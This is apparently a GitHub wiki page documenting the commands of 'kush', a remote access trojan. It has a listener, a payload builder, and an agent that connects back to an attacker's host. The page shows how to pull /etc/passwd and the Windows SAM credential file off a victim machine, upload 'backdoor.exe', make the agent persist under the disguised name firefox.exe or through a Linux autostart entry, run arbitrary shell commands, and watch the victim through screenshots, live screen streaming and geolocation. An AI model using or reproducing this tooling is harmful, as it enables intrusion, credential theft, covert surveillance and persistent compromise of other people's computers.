-
Notifications
You must be signed in to change notification settings - Fork 0
command reference
Displays all available commands with descriptions.
Usage:
kush> helpCloses the current connection and exits the listener.
Usage
kush> exitDownload a file from the target machine.
Usage
download <remote_path>kush> download /etc/passwd
kush> download C:\\Windows\\system32\\config\\SAMUpload a file to the target machine.
Usage
upload <local_path> <remote_path>kush> upload backdoor.exe C:\\Users\\Public\\backdoor.exe
kush> upload script.sh /tmp/script.shChange directory on the target machine.
Usage
cd <path>kush> cd /tmp
kush> cd C:\\Windows\\TempAny system command can be executed directly:
kush> whoami
kush> systeminfo
kush> net user
kush> dir C:\\
kush> type C:\\Windows\\system.inikush> whoami
kush> uname -a
kush> cat /etc/passwd
kush> ls -la /home/
kush> ps auxEstablishes persistence on Windows systems by:
-
Copying the agent to %APPDATA%\firefox.exe
-
Adding a registry Run key for startup execution
Usage
kush> windows_persistenceEstablishes persistence on Linux systems by:
-
Copying the agent to XDG runtime directory
-
Creating a .desktop file in autostart directory
Usage
kush> linux_persistenceTakes a screenshot of the target's desktop and saves it locally.
Usage
kush> screenshotOutput: Saves as screenshot_[timestamp].jpg
Starts real-time screen streaming.
Usage
start_stream [interval]interval: Refresh interval in seconds (default: 1.0)
kush> start_stream # 1 second intervalor
kush> start_stream 0.5 # 0.5 second intervalStops the screen streaming session.
Usage
kush> stop_streamGets approximate geographical location based on IP address.
Usage
kush> get_gps[GPS Location]
ip: 192.168.1.100
city: New York
region: New York
country: US
loc: 40.7128,-74.0060
org: ASXXXX Example ISPpython3 builder.py -t windows -i 192.168.1.100 -p 4444python3 builder.py -t linux -i 192.168.1.100 -p 4444Basic usage:
python3 listener.py -i 0.0.0.0 -p 4444python3 listener.py -i 192.168.1.100 -p 4444-
Tab completion: Works for file paths in upload/download commands
-
Command history: Use arrow keys to navigate previous commands
-
Typo correction: Automatically suggests similar valid commands
-
Multi-word paths: Use quotes for paths with spaces: download "C:\Program Files\file.txt"
Basic: help, exit, cd <path>
File Ops: download <remote>, upload <local> <remote>
Persistence: windows_persistence, linux_persistence
Surveillance: screenshot, start_stream, stop_stream, get_gps
System: Any shell command (whoami, ls, ipconfig, etc.)